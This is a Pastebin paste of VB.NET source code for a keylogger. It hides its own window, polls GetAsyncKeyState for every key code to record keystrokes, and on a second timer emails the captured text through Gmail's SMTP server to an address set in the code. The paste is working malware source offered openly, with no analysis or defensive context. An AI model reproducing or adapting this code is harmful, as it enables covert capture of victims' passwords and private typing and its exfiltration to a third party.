Guest User

Untitled

a guest
Feb 15th, 2017
449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4.  
  5. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  6. Dim MyMailMessage As New MailMessage
  7. MyMailMessage.From = New MailAddress("Example@gmail.com") 'You Gmail account
  8. MyMailMessage.To.Add("Example@gmail.com") 'Here can you type another gmail account what is from you or the same one as the privious
  9. MyMailMessage.Subject = ("Information keylogger:")
  10. MyMailMessage.Body = RichTextBox1.Text
  11. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  12. SMTPServer.Port = 587
  13. SMTPServer.Credentials = New System.Net.NetworkCredential("Example@gmail.com", "Password") 'Gmail account + Password
  14. SMTPServer.EnableSsl = True
  15. SMTPServer.Send(MyMailMessage)
  16. RichTextBox1.Text = ("")
  17. End Sub
  18. Dim result As Integer
  19. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
  20. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  21. Me.Hide()
  22. Me.Visible = False
  23. For i = 1 To 255
  24. result = 0
  25. result = GetAsyncKeyState(i)
  26. If result = -32767 Then
  27. RichTextBox1.Text = RichTextBox1.Text + Chr(i)
  28. End If
  29. Next i
  30. End Sub
  31. End Class
Add Comment
Please, Sign In to add comment